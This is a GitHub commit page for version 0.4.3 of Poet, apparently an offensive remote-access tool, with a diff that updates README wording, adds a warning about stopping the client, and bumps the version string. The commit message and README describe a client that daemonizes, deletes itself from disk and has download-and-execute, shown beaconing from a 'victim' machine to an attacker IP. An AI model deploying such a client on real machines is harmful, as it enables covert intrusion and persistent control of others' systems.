Skip to content

Commit

Permalink
Poet 0.4.3
Browse files Browse the repository at this point in the history
- Client daemonization and selfdestruct by default
- Privilege dropping
- Client authentication
- Dlexec automatically cleans up
- Numerous bug fixes
  • Loading branch information
offlinemark committed Jun 28, 2015
1 parent 01e30d2 commit 3571c9c
Show file tree
Hide file tree
Showing 2 changed files with 6 additions and 3 deletions.
7 changes: 5 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -50,7 +50,7 @@ Terminal 1:
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct
```

> By default, the poet client daemonizes and deletes itself from disk, so
> By default, the Poet client daemonizes and deletes itself from disk, so
> that behavior is suppressed using the `--debug` and `--no-selfdestruct`
> flags.
Expand Down Expand Up @@ -127,7 +127,7 @@ Documented concerns:

## demo

This is just a small sample of what poet can do.
This is just a small sample of what Poet can do.

The scenario is, an attacker has gotten access to the victim's machine and
downloaded and executed the client. She does not have
Expand All @@ -144,6 +144,9 @@ Victim's Machine (5.4.3.2):
$ ./poet-client 1.2.3.4 10 # poet-client daemonizes, so there's nothing to see
```

> Warning: After running this command, you'll need to either run `selfdestruct`
> from the server, or kill the `poet-client` process to stop the client.
Attacker's Machine (1.2.3.4):

```
Expand Down
2 changes: 1 addition & 1 deletion src/server.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@
import config as CFG
from poetsocket import *

__version__ = '0.4.2'
__version__ = '0.4.3'

OUT = 'archive'
POSH_PROMPT = 'posh > '
Expand Down

0 comments on commit 3571c9c

Please sign in to comment.